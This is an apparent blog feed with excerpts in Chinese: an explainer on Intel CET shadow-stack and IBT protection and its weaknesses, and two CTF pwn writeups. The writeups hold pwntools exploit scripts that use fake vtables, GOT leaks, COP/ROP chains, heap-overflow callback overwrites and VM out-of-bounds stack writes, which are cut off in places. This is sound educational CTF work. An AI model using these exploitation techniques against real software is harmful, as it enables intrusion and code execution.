RiK's Blog - C++
type: channel
link: https://pwnerik.cn/tag/C/
items: Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
items: Mini L-CTF 2025 Pwn Official Writeup
items: CISCN 2025 初赛 Pwn Writeup

Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
type: item
date: 2025-06-02T06:46:00+00:00
description: Intel CETIntel CET（Controlflow Enforcement Technology / 控制流加固技术）CFI（Control Flow Integrity / 控制流完整性）检查是近些年兴起的保护机制，其中包含 SHSTK（SHadow STacK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake（11 代）及以上 CPU 才支持。SHSTK 是一种后向控制流完整性（Backward-edge CFI）检查（简单来说是在“返回”时的检查），一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈，一个是众所周知的栈区，另一个是新增的“影子栈”，只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈，如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，也就是所有 ROP 攻击都将失效。IBT 是一种前向控制流完整性（Forward-edge CFI）检查（简单来说是在“调用”时的检查）。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32，如果是就不执行任何操作（类似 nop），如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟，例如 Windows CFG、Clang CFI 等，但是会大幅降低程序性能，每次虚函数调用等都需要校验，实用价值有限。目前 Windows 只支持 Shadow Stack（Windows CFG），还不支持以 endbr 指令为基础的 IBT（存疑，Windows 我不熟悉）；Linux 上也几乎没有程序启用这项保护，算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式？（Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题，但好像没开 ASLR，解法是直接篡改 shadow stack 本身再 ROP。）验证 Intel CET 是否可用接下来是在 Linux 上实验启用 CET 的具体操作，主要是 Shadow Stack。首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：$ sudo dmesg | grep CET [ 0.111658] CET detected: Indirect Branch Tracking enabled $ cat /proc/cpuinfo | grep shstk flags : ... user_shstk ... $ cat /proc/cpuinfo | grep ibt flags : ... ibt ...验证某程序是否在编译时启用 CET：$ readelf -n <application> | grep -a SHSTK Properties: x86 feature: IBT, SHSTK $ readelf -n <application> | grep -a IBT Properties: x86 feature: IBT, SHSTKGCC / glibc 环境启用 Intel CETGlibc 已经在其 ld.so 中初步支持 Intel CET 保护。我的环境：CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz Kernel: 6.14.7-zen2-1-zen (archlinux) glibc: GNU C Library (GNU libc) stable release version 2.41如果自己的电脑没有 Intel CET 软硬件支持，推荐使用 eqqie 学长开发的 qemu 插件（github）。我的电脑由于恰好满足所有条件，所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。编译时使用 gcc 编译时添加以下编译参数：gcc -fcf-protection=full运行时目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK将以上环…

Mini L-CTF 2025 Pwn Official Writeup
type: item
date: 2025-05-09T15:44:00+00:00
description: CTFers题目链接程序有三个功能，增删查。新增时暂存名字用到了 name_buf，查询时有一个虚函数调用 Binary::info 或 Web::info。另外还有一个隐藏后门 0xdeadbeef，可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE，那么当然可以将地址改到 name_buf，从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。Binary 和 Web 继承自 CTFer，std::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info，这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定，但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此：004025f4 mov rdx, qword [rax] 004025f7 mov rdx, qword [rdx] 004025fa mov rdi, rax 004025fd call rdxCTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器，但我们可以通过在 new 前后断点，查看新增堆块的内容来反推其结构。以下是用 C 语言表示的 CTFer 对象：（符号名仅作参考）struct CTFer { void (**vtable)(struct CTFer *); int64_t points; struct std_string { char *base; size_t length; union { size_t capacity; char buffer[16]; }; } nickname; };当 length < 16 时 buffer 复用 capacity 内存而非单独 malloc，不过这并不重要。我们可以先恢复正确的虚函数表，然后修改 nickname base 指向 GOT 项，修改适当的 length，从而通过 print_info 泄露基址。获得各个库的基址绕过 ASLR 后解法就十分自由了，只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象，也就是可控的 name_buf，可依此选择 gadget。这里我们选用来自 libstdc++ 中的一个 COP gadget：0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];然后只需要在 name_buf 上写 ROP 链即可。Exp:from pwn import * context(os='linux', arch='amd64') e = ELF('./ctfers') io = ... libc = ELF('./libc.so.6', checksec=False) def add(fake_object: bytes): io.sendlineafter(b'Choice > ', b'0') io.sendlineafter(b'Name > ', fake_object) io.sendlineafter(b'Points > ', b'0') io.sendlineafter(b'- 1 > ', b'0') def show_info(): io.sendlineafter(b'Choice > ', b'2') def backdoor(address: int): io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode()) io.sendline(str(address).encode()) vtable = 0x408C98 cout = 0x409080 libc_start_main_got = e.got['__libc_start_main'] input_buf = e.sym['name_buf'] # 还原虚函数表指针，改 std::string 头指针为 got 项 add(cyclic(16) + p64(vtable) + p64(0) + p64(libc_start_main_got) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libc io.recvuntil(b'I am ') lib…

CISCN 2025 初赛 Pwn Writeup
type: item
date: 2024-12-22T09:57:00+00:00
description: anote菜单堆，堆块大小固定为 0x1c，edit 时有明显堆溢出。堆块上有一 edit callback 函数指针，修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后，但是可以堆溢出修改相邻堆上的 callback 函数指针。Exp:from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './note' io = process(binary) e = ELF(binary) # size: 0x1c def add(): io.sendlineafter(b'>>', b'1') def show(index: int): io.sendlineafter(b'>>', b'2') io.sendlineafter(b': ', itob(index)) # size <= 0x28 def edit(index: int, size: int, content: bytes): io.sendlineafter(b'>>', b'3') io.sendlineafter(b': ', itob(index)) io.sendlineafter(b': ', itob(size)) io.sendlineafter(b': ', content) def exit(): io.sendlineafter(b'>>', b'4') backdoor = 0x080489CE add() add() show(0) io.recvuntil(b'gift: ') heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8 success(f'heap_addr: {heap_backdoor_addr:x}') edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr)) edit(1, 4, p32(0)) io.interactive()avmVM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。功能有加减乘除等基本运算，没有直接的加载立即数。opcode 10 是 load from stack，opcode 9 是 write to stack，两者皆不检查边界，栈上任意读写。输入的 command 在栈上，可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc，VM 内计算真实地址，写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题，所以返回到 system 中跳过一次 push 的位置。Exp:from pwn import * from ctypes import * context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' io = process(binary) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) def code(opcode: int, a: int, b: int, r: int) -> bytes: return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r) main_ret_addr_offset = 171408 system_8 = 329986 io.send(code(10, 3384, 0, 1) + # load main retaddr to *1 code(10, 328, 0, 2) + # load offset0 to *2 code(10, 336, 0, 3) + # load offset1 to *3 code(10, 344, 0, 4) + # load offset2 to *4 code(1, 2, 1, 5) + # add *2 by *1 to *5 code(1, 3, 1, 6) + # add *3 by *1 to *6 co…